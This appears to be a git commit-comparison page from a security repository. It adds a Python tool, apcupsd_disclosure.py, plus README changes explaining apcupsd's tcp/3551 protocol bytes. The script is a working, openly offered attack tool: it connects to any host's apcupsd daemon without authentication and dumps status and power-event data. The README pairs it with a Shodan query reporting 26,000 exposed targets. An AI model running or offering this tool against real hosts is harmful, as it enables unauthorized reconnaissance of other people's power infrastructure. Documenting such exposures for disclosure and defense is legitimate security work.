Compare commits
10 Commits
2dc123c32c
...
master
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
0e95a5cf42 | ||
|
|
00d25aece0 | ||
|
|
12f9e261d2 | ||
|
|
63fa9f9376 | ||
|
|
ac946cacd5 | ||
|
|
1cffd165a1 | ||
|
|
eb1c206f36 | ||
|
|
eb5de9341a | ||
|
|
aa7fb279a6 | ||
|
|
1de5c41b27 |
29
README.md
29
README.md
@@ -20,6 +20,25 @@ servers surviving, as long as it has battery power left.
|
||||
|
||||
and some more :)
|
||||
|
||||
### How does it work?
|
||||
|
||||
The daemon, listening per default at tcp/3551 is waiting for connections. The protocol itself is
|
||||
build pretty simple. Lets look at the status request:
|
||||
|
||||
`\x00\x06\x73\x74\x61\x74\x75\x73`
|
||||
|
||||
As you can see, the first two bytes define the length of the request, in this particular case 6 bytes, after that the command is sent: status.
|
||||
|
||||
|
||||
The same is happening for the events request:
|
||||
|
||||
`\x00\x06\x65\x76\x65\x6e\x74\x73`
|
||||
|
||||
Six bytes again and then the string "events".
|
||||
The response is setup similar, first the bytelength, then the ASCII data, at the end a newline and null byte is sent. Finally, if all data has been transfered the daemon sends an additional nullbyte.
|
||||
|
||||
If you looking for more information simply trace wireshark output or look into the code ;)
|
||||
|
||||
### Usage
|
||||
|
||||
There are two different supported modes in the daemon. Those are:
|
||||
@@ -28,11 +47,12 @@ There are two different supported modes in the daemon. Those are:
|
||||
|
||||
While status have detailed information about the daemon and its configuration itself, events covers power failures and alike.
|
||||
|
||||
```
|
||||
./apcupsd_disclosure.py -h
|
||||
usage: apcupsd_disclosure.py 0.1 dash@undisclose.de June 2019
|
||||
[-h] [-m MODE] -t TARGET [-p PORT]
|
||||
|
||||
Lil' tool for Information Disclosure of apcupsd
|
||||
Lil' tool for Information Disclosure of apcupsd
|
||||
|
||||
optional arguments:
|
||||
-h, --help show this help message and exit
|
||||
@@ -41,17 +61,22 @@ optional arguments:
|
||||
-t TARGET, --target TARGET
|
||||
define the target
|
||||
-p PORT, --port PORT define the target port
|
||||
```
|
||||
|
||||
Get the status information (you do not need the -m option as status is default):
|
||||
```
|
||||
./apcupsd_disclosure.py -t 127.0.0.1 -m status
|
||||
```
|
||||
|
||||
Get the events:
|
||||
```
|
||||
./apcupsd_disclosure.py -t 127.0.0.1 -m events
|
||||
```
|
||||
|
||||
### Shodan
|
||||
|
||||
Search: https://www.shodan.io/search?query=port%3A3551
|
||||
Result: 26,000
|
||||
Results: 26,000
|
||||
|
||||
## Disclaimer
|
||||
|
||||
|
||||
94
apcupsd_disclosure.py
Executable file
94
apcupsd_disclosure.py
Executable file
@@ -0,0 +1,94 @@
|
||||
#!/usr/bin/env python3
|
||||
#
|
||||
# Unauthenticated Information Disclosure in apcupsd of APC UPS
|
||||
# dash@undisclose.de
|
||||
#
|
||||
|
||||
import os
|
||||
import sys
|
||||
import socket
|
||||
import string
|
||||
import argparse
|
||||
|
||||
status = "\x00\x06\x73\x74\x61\x74\x75\x73".encode()
|
||||
events = "\x00\x06\x65\x76\x65\x6e\x74\x73".encode()
|
||||
protoend = "\x00\x00".encode()
|
||||
|
||||
def socket_go(target,port,mode):
|
||||
|
||||
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
|
||||
|
||||
try:
|
||||
sock.connect((target,port))
|
||||
sock.send(mode)
|
||||
except ConnectionRefusedError as e:
|
||||
print ("[-] Target: %s:%d - %s " % (target,port,e))
|
||||
sys.exit(1)
|
||||
except TimeoutError as e:
|
||||
print ("[-] Target: %s:%d - %s " % (target,port,e))
|
||||
sys.exit(1)
|
||||
|
||||
out=""
|
||||
while [ 1 ]:
|
||||
data = sock.recv(4096)
|
||||
out = out + data.decode()
|
||||
if len(data) == 0:
|
||||
break
|
||||
elif data.find(protoend)>0:
|
||||
break
|
||||
return out
|
||||
|
||||
def parse_output(out):
|
||||
''' basically remove non-printable protocol parts and interpret newlines ;)'''
|
||||
output = ''.join([x for x in out if x in string.printable])
|
||||
print(output)
|
||||
|
||||
def run(args):
|
||||
|
||||
target = args.target
|
||||
port = args.port
|
||||
mode = args.mode
|
||||
|
||||
if mode == "status":
|
||||
out=socket_go(target,port,status)
|
||||
elif mode == "events":
|
||||
out=socket_go(target,port,events)
|
||||
else:
|
||||
print("Sorry, unknown mode %s" % mode)
|
||||
print("Supported modes:\n* status\n* events\n")
|
||||
sys.exit(1)
|
||||
|
||||
printme=parse_output(out)
|
||||
|
||||
print("Let's move on.")
|
||||
|
||||
|
||||
|
||||
def main():
|
||||
''' we got a main :)'''
|
||||
|
||||
__tool__ = 'apcupsd_disclosure.py'
|
||||
__version__ = '0.1'
|
||||
__author__ = 'dash@undisclose.de'
|
||||
__date__ = 'June 2019'
|
||||
|
||||
parser_desc = 'Lil\' tool for Information Disclosure of apcupsd'
|
||||
prog_desc = __tool__ + ' ' + __version__ + ' ' + __author__ + ' ' + __date__
|
||||
parser = argparse.ArgumentParser(prog = prog_desc, description=parser_desc)
|
||||
|
||||
parser.add_argument('-m','--mode',action="store",dest='mode',required=False,help='define the mode, two modes exist: "status" and "events", default is "status"', default="status")
|
||||
parser.add_argument('-t','--target',action="store",dest='target',required=True,help='define the target', default=False)
|
||||
parser.add_argument('-p','--port',action="store",dest='port',required=False,help='define the target port', default=3551)
|
||||
|
||||
if(len(sys.argv)<2):
|
||||
print("Sorry, to few arguments")
|
||||
sys.exit(1)
|
||||
|
||||
args = parser.parse_args()
|
||||
|
||||
run(args)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
||||
|
||||
Reference in New Issue
Block a user